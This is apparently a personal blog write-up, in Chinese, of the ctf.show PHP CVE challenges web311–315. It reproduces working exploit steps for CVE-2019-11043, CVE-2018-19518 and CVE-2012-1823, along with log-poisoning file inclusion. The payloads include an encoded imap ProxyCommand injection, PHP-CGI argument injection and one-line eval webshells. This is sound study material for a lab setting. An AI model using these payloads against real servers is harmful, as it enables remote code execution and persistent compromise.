Web入门_phpCVE

2024 年 10 月 10 日 (已编辑)
659 字
4 分钟

phpCVE


搜索一般都是 php/版本号 cvephp/版本号 漏洞

web311

  • 描述: 似曾相识,就这一个文件,不用扫描

抓包发现提示CVE, 以及X-Powered-By: PHP/7.1.33dev

网上搜索, 对应的CVE为CVE-2019-11043, 再寻找可利用的poc

参考1, github_poc

我找到的poc好多都是基于这个写的, 这个poc需要安装go环境

他甚至给了你一个pdf详细解释这个漏洞

bash
apt install golang
# yum install golang -y
git clone https://github.com/neex/phuip-fpizdam.git
cd phuip-fpizdam
# 国内直接用这个exp可能会无法编译通过,需要先将代理设置为国内代理
go env -w GOPROXY=https://goproxy.cn
go get -v && go build
# 编译完成后执行,注意地址后必须加 index.php
go run . "https://23072827-c4c4-4285-ace5-7cce969a1d98.challenge.ctf.show/index.php"
image-20241010164353411

在URL后加上/index.php/?a=ls 多请求几次, 不是每次都能成功:

可以得到当前目录下fl0gHe1e.txt, 修改为/index.php/?a=cat%20fl0gHe1e.txt即可

web312

  • 描述: 你懂的

抓包得到返回包提示X-Powered-By: PHP/5.6.38

利用该关键词搜索漏洞, 得到: PHP imap远程命令执行漏洞(CVE-2018-19518)

github_漏洞介绍, 结合这个就可以轻松拿到shell

生成payload:

php
<?php
$a= base64_encode('<?php @eval($_POST[1]);?>');
echo base64_encode("echo $a | base64 -d >/var/www/html/1.php")
?>
# x+-oProxyCommand%3decho%09ZWNobyBQRDl3YUhBZ1FHVjJZV3dvSkY5UVQxTlVXekZkS1RzL1BnPT0gfCBiYXNlNjQgLWQgPi92YXIvd3d3L2h0bWwvMS5waHA=|base64%09-d|sh}

利用payload即可

text
1=system('tac ctfshowfl4g');
image-20241010172405280

web313

  • 描述: 你懂的

抓包得到返回包提示X-Powered-By: PHP/5.4.1

搜索得到 PHP-CGI远程代码执行CVE-2012-1823, 测试一下

text
-c 指定php.ini文件的位置
-n 不要加载php.ini文件
-d 指定配置项
-b 启动fastcgi进程
-s 显示文件源码
-T 执行指定次该文件
-h和-? 显示帮助

访问/?-s, 发现确实返回了源码

可以利用远程包含一个木马文件, 这里尝试写个马

text
# GET:
/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input
# 直接写在下面
<?php file_put_contents("1.php",'<?php eval($_POST[1]);?>');?>

结果 Permission denied in php://input, 拉倒了

那就直接执行命令试试, 发现是可以执行的

php
<?php system("ls");?>
image-20241010181453690

那就找flag, 最后在/somewhere/fla9.txt中找到, POC:

php
<?php system("cat /somewhere/fla9.txt");?>

web314

  • 描述: 严格说算不上cve
php
<?php
error_reporting(0);
highlight_file(__FILE__);

//phpinfo
$file = $_GET['f'];

if(!preg_match('/\:/',$file)){
    include($file);
}

提示phpinfo, 访问phpinfo.php, 发现可以包含

过滤冒号, 那就用剩下的包含方式: 日志包含, 利用session.upload_progress文件包含

就用日志包含了:

wappalyzer查看架构, 发现是Nginx服务器, 默认日志文件为/var/log/nginx/access.log, 尝试访问/?f=/var/log/nginx/access.log, 发现是可以访问的

在UA头中写入一句话木马, 然后交给蚁剑

php
<?php @eval($_POST[1])?>
image-20241010182803263

最后在根目录下的fl6g得到flag

所以也可以直接POST传入

text
1=system('cat /fl6g');

web315

  • 描述: debug开启,端口9000

github_漏洞介绍

那就是纯纯的脚本小子, 这里面也有相关使用方法, 我不多赘述

再贴一个看不太懂的文章: https://blog.csdn.net/weixin_33277215/article/details/116468944

文章标题:Web入门_phpCVE

文章作者:4reexile

文章链接:https://4reexile.github.io/posts/web%E5%85%A5%E9%97%A8_phpcve[复制]

最后修改时间:


商业转载请联系站长获得授权,非商业转载请注明本文出处及文章链接,您可以自由地在任何媒体以任何形式复制和分发作品,也可以修改和创作,但是分发衍生作品时必须采用相同的许可协议。
本文采用CC BY-NC-SA 4.0进行许可。